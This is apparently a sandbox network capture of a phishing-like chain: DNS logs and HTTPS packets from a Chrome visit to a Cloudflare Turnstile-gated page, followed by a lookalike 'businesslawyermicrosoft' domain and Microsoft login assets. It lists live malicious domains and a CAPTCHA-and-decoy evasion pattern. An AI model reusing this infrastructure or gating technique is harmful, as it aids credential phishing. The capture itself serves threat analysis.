Jan 14, 2025 20:02:16.581387997 CET	1.1.1.1	192.168.2.4	0x6294	No error (0)	nbgybnlh.appfilemanagement.com		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:16.581387997 CET	1.1.1.1	192.168.2.4	0x6294	No error (0)	nbgybnlh.appfilemanagement.com		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:16.581387997 CET	1.1.1.1	192.168.2.4	0x6294	No error (0)	nbgybnlh.appfilemanagement.com		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:16.581387997 CET	1.1.1.1	192.168.2.4	0x6294	No error (0)	nbgybnlh.appfilemanagement.com		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:17.907748938 CET	1.1.1.1	192.168.2.4	0x4f3b	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:17.907748938 CET	1.1.1.1	192.168.2.4	0x4f3b	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:17.907929897 CET	1.1.1.1	192.168.2.4	0xffa5	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 14, 2025 20:02:19.480652094 CET	1.1.1.1	192.168.2.4	0x2bdc	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:19.480652094 CET	1.1.1.1	192.168.2.4	0x2bdc	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:19.480767012 CET	1.1.1.1	192.168.2.4	0xa44c	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 14, 2025 20:02:19.518970966 CET	1.1.1.1	192.168.2.4	0xe0f9	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:19.518970966 CET	1.1.1.1	192.168.2.4	0xe0f9	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:19.519354105 CET	1.1.1.1	192.168.2.4	0xa0cc	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 14, 2025 20:02:19.613044977 CET	1.1.1.1	192.168.2.4	0x2e7f	No error (0)	www.google.com		216.58.206.36	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:19.613811970 CET	1.1.1.1	192.168.2.4	0xa2f6	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 14, 2025 20:02:22.287902117 CET	1.1.1.1	192.168.2.4	0x5214	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:25.335527897 CET	1.1.1.1	192.168.2.4	0x3b16	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 14, 2025 20:04:25.335629940 CET	1.1.1.1	192.168.2.4	0xc99b	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:25.335629940 CET	1.1.1.1	192.168.2.4	0xc99b	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:45.195424080 CET	1.1.1.1	192.168.2.4	0xd8cf	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:45.195424080 CET	1.1.1.1	192.168.2.4	0xd8cf	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:45.195424080 CET	1.1.1.1	192.168.2.4	0xd8cf	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:45.195424080 CET	1.1.1.1	192.168.2.4	0xd8cf	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:45.196830034 CET	1.1.1.1	192.168.2.4	0x5ffe	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:45.196830034 CET	1.1.1.1	192.168.2.4	0x5ffe	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:45.196840048 CET	1.1.1.1	192.168.2.4	0x7874	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 14, 2025 20:04:45.197082996 CET	1.1.1.1	192.168.2.4	0xde92	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:45.197082996 CET	1.1.1.1	192.168.2.4	0xde92	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:45.197644949 CET	1.1.1.1	192.168.2.4	0x497c	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Jan 14, 2025 20:04:45.198429108 CET	1.1.1.1	192.168.2.4	0xa1a0	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Jan 14, 2025 20:04:45.200911999 CET	1.1.1.1	192.168.2.4	0x8ba0	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:45.200911999 CET	1.1.1.1	192.168.2.4	0x8ba0	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:45.437120914 CET	1.1.1.1	192.168.2.4	0x1e93	No error (0)	5735915102-1323985617.cos.ap-singapore.myqcloud.com	sgp.file.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 20:04:45.437120914 CET	1.1.1.1	192.168.2.4	0x1e93	No error (0)	sgp.file.myqcloud.com		43.152.64.193	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:45.437120914 CET	1.1.1.1	192.168.2.4	0x1e93	No error (0)	sgp.file.myqcloud.com		43.152.64.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:45.437120914 CET	1.1.1.1	192.168.2.4	0x1e93	No error (0)	sgp.file.myqcloud.com		43.153.232.151	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:45.437120914 CET	1.1.1.1	192.168.2.4	0x1e93	No error (0)	sgp.file.myqcloud.com		43.153.232.152	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:45.938883066 CET	1.1.1.1	192.168.2.4	0xd65a	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 14, 2025 20:04:45.942698002 CET	1.1.1.1	192.168.2.4	0x9e6c	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:45.942698002 CET	1.1.1.1	192.168.2.4	0x9e6c	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:46.002918959 CET	1.1.1.1	192.168.2.4	0x9a1c	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Jan 14, 2025 20:04:46.003163099 CET	1.1.1.1	192.168.2.4	0x27d2	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:46.003163099 CET	1.1.1.1	192.168.2.4	0x27d2	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:46.058974981 CET	1.1.1.1	192.168.2.4	0x8ce5	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:46.058974981 CET	1.1.1.1	192.168.2.4	0x8ce5	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:46.058974981 CET	1.1.1.1	192.168.2.4	0x8ce5	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:46.058974981 CET	1.1.1.1	192.168.2.4	0x8ce5	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:46.081825972 CET	1.1.1.1	192.168.2.4	0x194a	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:46.081825972 CET	1.1.1.1	192.168.2.4	0x194a	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:46.083880901 CET	1.1.1.1	192.168.2.4	0x3b54	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Jan 14, 2025 20:04:48.291709900 CET	1.1.1.1	192.168.2.4	0x35fc	No error (0)	5735915102.businesslawyermicrosoft.com		69.49.230.198	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:48.411664963 CET	1.1.1.1	192.168.2.4	0x4c96	No error (0)	5735915102-1323985617.cos.ap-singapore.myqcloud.com	sgp.file.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 20:04:48.411664963 CET	1.1.1.1	192.168.2.4	0x4c96	No error (0)	sgp.file.myqcloud.com		43.152.64.193	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:48.411664963 CET	1.1.1.1	192.168.2.4	0x4c96	No error (0)	sgp.file.myqcloud.com		43.152.64.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:48.411664963 CET	1.1.1.1	192.168.2.4	0x4c96	No error (0)	sgp.file.myqcloud.com		43.153.232.151	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:48.411664963 CET	1.1.1.1	192.168.2.4	0x4c96	No error (0)	sgp.file.myqcloud.com		43.153.232.152	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:49.666826963 CET	1.1.1.1	192.168.2.4	0x3fd6	No error (0)	5735915102.businesslawyermicrosoft.com		69.49.230.198	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:52.461796045 CET	1.1.1.1	192.168.2.4	0xfa5d	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 20:04:52.461796045 CET	1.1.1.1	192.168.2.4	0xfa5d	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 20:04:52.461796045 CET	1.1.1.1	192.168.2.4	0xfa5d	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:52.461910009 CET	1.1.1.1	192.168.2.4	0x2cb9	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 20:04:52.461910009 CET	1.1.1.1	192.168.2.4	0x2cb9	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 20:04:52.490643978 CET	1.1.1.1	192.168.2.4	0x468d	No error (0)	shed.dual-low.s-part-0033.t-0009.t-msedge.net	s-part-0033.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 20:04:52.490643978 CET	1.1.1.1	192.168.2.4	0x468d	No error (0)	s-part-0033.t-0009.t-msedge.net		13.107.246.61	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:53.442837000 CET	1.1.1.1	192.168.2.4	0xfcaf	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 20:04:53.442837000 CET	1.1.1.1	192.168.2.4	0xfcaf	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:53.632891893 CET	1.1.1.1	192.168.2.4	0xe94f	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 20:04:53.632891893 CET	1.1.1.1	192.168.2.4	0xe94f	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 20:04:53.632891893 CET	1.1.1.1	192.168.2.4	0xe94f	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:53.633122921 CET	1.1.1.1	192.168.2.4	0xc2f4	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 20:04:53.633122921 CET	1.1.1.1	192.168.2.4	0xc2f4	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

nbgybnlh.appfilemanagement.com

https:

challenges.cloudflare.com

cdnjs.cloudflare.com

stackpath.bootstrapcdn.com

maxcdn.bootstrapcdn.com

code.jquery.com

5735915102-1323985617.cos.ap-singapore.myqcloud.com

5735915102.businesslawyermicrosoft.com

aadcdn.msftauth.net

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49755	104.21.64.1	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:02:16 UTC	678	OUT	GET /cwVGt HTTP/1.1 Host: nbgybnlh.appfilemanagement.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:02:16 UTC	882	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 19:02:16 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: http://nbgybnlh.appfilemanagement.com/cwVGt/ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HLL7nuiiZFRAzvas0TtlPwwpGXPWmtAsVqSMQSlqAj4hNmg4o08ELoND2ZiaOparxNiBVB%2Fp6cGcKaFN2x4dMZ6IC8Ehfm4rAPTq55EuSYQkSgID9nf4VVQ8ad1xPvh9c9Z1%2Fq7gxPU4OrdKjbs78xk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901fe11fd83f42e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1631&min_rtt=1626&rtt_var=621&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2856&recv_bytes=1256&delivery_rate=1745367&cwnd=241&unsent_bytes=0&cid=05636fe6d6c78db5&ts=333&x=0"
2025-01-14 19:02:16 UTC	259	IN	Data Raw: 66 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6e 62 67 79 62 6e 6c 68 2e 61 70 70 66 69 6c 65 6d 61 6e 61 67 65 6d 65 6e 74 2e 63 6f 6d 2f 63 77 56 47 74 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c Data Ascii: fd<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://nbgybnlh.appfilemanagement.com/cwVGt/">here</a>.</p></body></html
2025-01-14 19:02:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49757	104.21.64.1	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:02:17 UTC	679	OUT	GET /cwVGt/ HTTP/1.1 Host: nbgybnlh.appfilemanagement.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:02:17 UTC	1006	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:02:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=4ram4cvd5lkalobrc8rdv84osm; path=/ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uAEvhJe02KTqN5e6NBuoKTJ8CEhzBs93D12mP9hpugiis%2B1HozxHsZ6Ws%2FAcxYfk%2B7X8YXQjq3X%2BacGQ93FRuLEJNuHVWAMorkAf8vLZbYpegyKoJYsXIBC1ubL7JFUnEBsDumTEobRut%2BXczg2Ra5Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901fe127fe27de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1927&min_rtt=1684&rtt_var=805&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2856&recv_bytes=1257&delivery_rate=1733966&cwnd=245&unsent_bytes=0&cid=066b5d1a053806bb&ts=316&x=0"
2025-01-14 19:02:17 UTC	363	IN	Data Raw: 61 65 64 0d 0a 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 77 69 6c 69 67 68 74 47 6c 69 6e 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 3c 73 70 61 6e 3e 54 68 65 20 61 72 63 68 69 74 65 63 74 20 64 65 73 69 67 6e 65 64 20 61 20 66 75 74 75 72 69 73 74 69 63 20 62 75 69 6c 64 69 6e 67 20 77 69 74 68 20 73 75 73 74 61 69 6e 61 62 6c 65 20 65 6e 65 72 67 79 20 66 65 61 74 75 72 65 73 2e 3c 2f 73 70 61 6e 3e 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 Data Ascii: aed <html lang="en"> <head> <meta charset="UTF-8"> <title>TwilightGlint</title> ... <span>The architect designed a futuristic building with sustainable energy features.</span> --> <meta name="robots" content="noi
2025-01-14 19:02:17 UTC	1369	IN	Data Raw: 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 76 30 2f 61 70 69 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 3c 70 3e 41 6e 20 69 6e 76 65 6e 74 69 76 65 20 73 74 75 64 65 6e 74 20 62 75 69 6c 74 20 61 20 72 6f 62 6f 74 20 74 68 61 74 20 63 6f 75 6c 64 20 73 6f 6c 76 65 20 63 6f 6d 70 6c 65 78 20 70 75 7a 7a 6c 65 73 20 65 61 73 69 6c 79 2e 3c 2f 70 3e 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 Data Ascii: ipt src="https://challenges.cloudflare.com/turnstile/v0/api.js"></script> ... <p>An inventive student built a robot that could solve complex puzzles easily.</p> --> <style> body { font-family: Arial, sans-serif
2025-01-14 19:02:17 UTC	1072	IN	Data Raw: 20 3c 66 6f 72 6d 20 6d 65 74 68 6f 64 3d 22 50 4f 53 54 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 30 78 34 41 41 41 41 41 41 41 34 76 67 69 79 61 55 58 33 32 4d 57 68 6c 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 48 61 7a 79 42 72 65 65 7a 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 66 6f 72 6d 3e 3c 21 2d 2d 20 3c 73 70 61 6e 3e 54 68 65 20 66 61 72 6d 65 72 20 70 6c 61 6e 74 65 64 20 72 6f 77 73 20 6f 66 20 63 6f 72 6e 20 Data Ascii: <form method="POST"> <span class="cf-turnstile" data-sitekey="0x4AAAAAAA4vgiyaUX32MWhl" data-callback="HazyBreeze"> </span> </form>... <span>The farmer planted rows of corn
2025-01-14 19:02:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49758	104.18.95.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:02:18 UTC	558	OUT	GET /turnstile/v0/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://nbgybnlh.appfilemanagement.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:02:18 UTC	386	IN	HTTP/1.1 302 Found Date: Tue, 14 Jan 2025 19:02:18 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/e0c90b6a3ed1/api.js Server: cloudflare CF-RAY: 901fe12d7a914387-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49759	104.18.95.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:02:19 UTC	573	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://nbgybnlh.appfilemanagement.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:02:19 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:02:19 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 901fe1316f500cb0-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:02:19 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-14 19:02:19 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
